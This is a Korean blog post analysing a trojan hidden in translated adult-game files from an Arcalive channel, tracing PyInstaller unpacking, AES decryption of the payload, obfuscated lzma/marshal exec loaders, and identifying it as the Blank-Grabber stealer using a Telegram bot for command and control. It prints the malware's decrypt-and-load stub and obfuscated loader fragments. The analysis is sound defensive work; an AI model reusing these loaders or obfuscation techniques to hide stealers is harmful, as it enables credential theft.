주의: 해당 글은 교육 및 공익적 목적으로 작성되었으며, 작성자는 각국 법률이 허용하는 범위 내에서 모든 책임을 부인합니다.
요약: https://github.com/Blank-c/Blank-Grabber 를 활용한 악성코드입니다.
아카라이브 심야식당 트로이목마
아카라이브 심야식당은 성인 게임등을 한국어로 번역하여 유포하는 아카라이브의 채널입니다.
작년 2024년 12월에 심야식당 채널에 몇몇 해외 성인 게임 한국어 번역 파일에 트로이 목마가 심어져 있다는 사실이 밝혀져 논란이 되었습니다.
바이러스 고의 유포 업데이트 (20241214) – 심야식당 채널
※ 해당 파일은 당시 파일이 공유되던 Kiosk 운영진과 접촉해 조치를 취했습니다.
현재 바이러스 대란터진 아카라이브 어느 채널 – DogDrip.Net 개드립
특히, 해당 채널에서 공유되는 게임 실행 파일은 DLL Injection 등의 공격 방식을 활용해서 번역되기에 Windows Defender와 같은 백신 소프트웨어가 오탐하는 경우가 잦았습니다. 따라서 해당 채널의 사용자는 백신 소프트웨어를 비활성화한 상태로 사용하는 경우가 잦아 피해 규모가 확대된 것으로 사료됩니다.
VirusTotal
VirusTotal 검사 결과 를 보면 Game.exe가 악성 코드로 분류됨을 알 수 있습니다.
간단하게 strings를 통해 모든 문자열을 보면 PyInstaller
라는 문구를 찾을 수 있습니다.pyinstxtractor-ng
를 사용하면 어렵지 않게 언팩할 수 있습니다.
수많은 파일 중 수상한 파일(ddbdafb8-8fc8-4deb-beaa-4f8ae539a203.pyc
)이 보입니다.
타 파일들은 파이썬 실행또는 관련 라이브러리이기에 관련이 없어보입니다.
pyc
파일은 컴파일된 파이썬 코드이기에 적당한 도구로 디컴파일을 할 필요가 있습니다.
import os
import sys
import base64
import zlib
from pyaes import AESModeOfOperationGCM
from zipimport import zipimporter
zipfile = os.path.join(sys._MEIPASS, 'blank.aes')
module = 'stub-o'
key = base64.b64decode('iGwKuFAdNWb+LYUdlcLrwpWOHKDcW7z+nnOuVeyzVYU=')
iv = base64.b64decode('w3QT6A25Dmk5WBT6')
def decrypt(key, iv, ciphertext):
return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
if os.path.isfile(zipfile):
with open(zipfile, 'rb') as f:
ciphertext = f.read()
ciphertext = zlib.decompress(ciphertext[::-1])
decrypted = decrypt(key, iv, ciphertext)
with open(zipfile, 'wb') as f:
f.write(decrypted)
zipimporter(zipfile).load_module(module)
같은 디랙토리에 있는 blank.aes
를 복호화함을 알 수 있습니다.
그냥 실행만 안하고 복호화하는 부분까지만 실행해주면 됩니다.
import base64
import zlib
from pyaes import AESModeOfOperationGCM
zipfile = 'blank.aes'
key = base64.b64decode('iGwKuFAdNWb+LYUdlcLrwpWOHKDcW7z+nnOuVeyzVYU=')
iv = base64.b64decode('w3QT6A25Dmk5WBT6')
def decrypt(key, iv, ciphertext):
return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
with open(zipfile, 'rb') as f:
ciphertext = f.read()
ciphertext = zlib.decompress(ciphertext[::-1])
decrypted = decrypt(key, iv, ciphertext)
with open(zipfile + 'dec', 'wb') as f:
f.write(decrypted)
stub-o.pyc
파일이 있음을 알 수 있습니다.
pyc를 디스어셈블리 해보면 바이너리 값이 너무 길기에 일반적인 디컴파일 유틸리티로는 디컴파일이 어렵습니다.
def _nlJKwOSg():
try:
__________ = __import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((90, 88, 90, 104, 98, 65, 61, 61)).decode())
___________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((90, 50, 86, 48, 89, 88, 82, 48, 99, 103, 61, 61)).decode())
_______________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 119, 61, 61)).decode())
________________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((89, 110, 108, 48, 90, 88, 77, 61)).decode())
____________ = lambda: None # <CODE> <lambda>
________ = b'[large binary]'
_________ = ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 105, 75, 81, 61, 61)).decode()), ________________(bytes((98, 71, 108, 122, 100, 65, 61, 61)).decode())))))
if not ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 72, 112, 116, 89, 83, 73, 112)).decode()), ________________(bytes((90, 88, 104, 108, 89, 119, 61, 61)).decode())), ____________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 51, 77, 105, 75, 81, 61, 61)).decode()), ________________(bytes((88, 50, 86, 52, 97, 88, 81, 61)).decode()))), 0):
pass
except Exception as _:
___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 72, 112, 116, 89, 83, 73, 112)).decode()), ________________(bytes((84, 70, 112, 78, 81, 85, 86, 121, 99, 109, 57, 121)).decode()))))
문법이 안맞지만 Gemini 1.5 Pro의 도움을 받아 대략적인 로직을 파악했습니다.
여기서 겁먹지 말고 한땀한땀 난독화를 해제하면 엄청 긴 바이너리를 lzma로 압축을 해제하는 것을 알 수 있습니다.
import lzma
bin = b'[대충 아주 길고 큰 바이너리]';
dec = lzma.decompress(bin)
with open('tmp_out.py', 'wb') as f:
f.write(dec)
이제 압축 해제된 결과물을 보면 다시한번 난독화가 되어있습니다.
열심히 스크롤을 내려서 실제 로직을 찾아보면, 아래와 같습니다.
__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 61])).decode()).exec(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([98, 87, 70, 121, 99, 50, 104, 104, 98, 65, 61, 61])).decode()).loads(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______)))
겁이 나지만 조금 더 자세히 보면 loads
가 호출되는 것이 보입니다.
따라서 marshal.loads
라는 가정을 하고 코드를 보면 앞에 난독화된 부분은 실제 실행을 하는 부분이라는 생각을 할 수 있습니다.exec(marshal.loads(...))
이런 코드라 볼 수 있습니다.
marshal — Internal Python object serialization Python 3.12.8 문서
loads
까지 짤라서 변수에 담고 파일로 저장해봅시다.
code = __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______)
with open('tmp_out.pyc', 'wb') as f:
f.write(code)
안타깝게도 헤더가 없어 디컴파일이 안됩니다.
바이너리에 임베드된 Python 버전인 Python 3.12 file magic과 null 12바이트를 Header로 추가해주면 됩니다.
GitHub – Blank-c/Blank-Grabber: The most powerful stealer written in Python 3 and packed with a lot of features. 여기를 그대로 가져다 쓴 것 같습니다.
조금 분석해보면 fake 오류창을 띄우는 것을 알 수 있습니다.
아카쿠비 투기장 Ver1.05c Kr on Zelyx
DLL 초기화 루틴을 실행할 수 없습니다.
CC 서버로는 텔레그램을 활용하고 있습니다.
해당 봇의 텔레그램 API 토큰이 있으며, 6821665221
ID를 가진 대화방에 수집한 정보를 전송합니다.
해당 대화방의 사용자는 @OdeTo2025(UID: 6821665221)
임을 알 수 있습니다. ※작성 시점 기준 탈퇴한 사용자입니다.
By 동헌희(@honey/honey@sandwich.dev)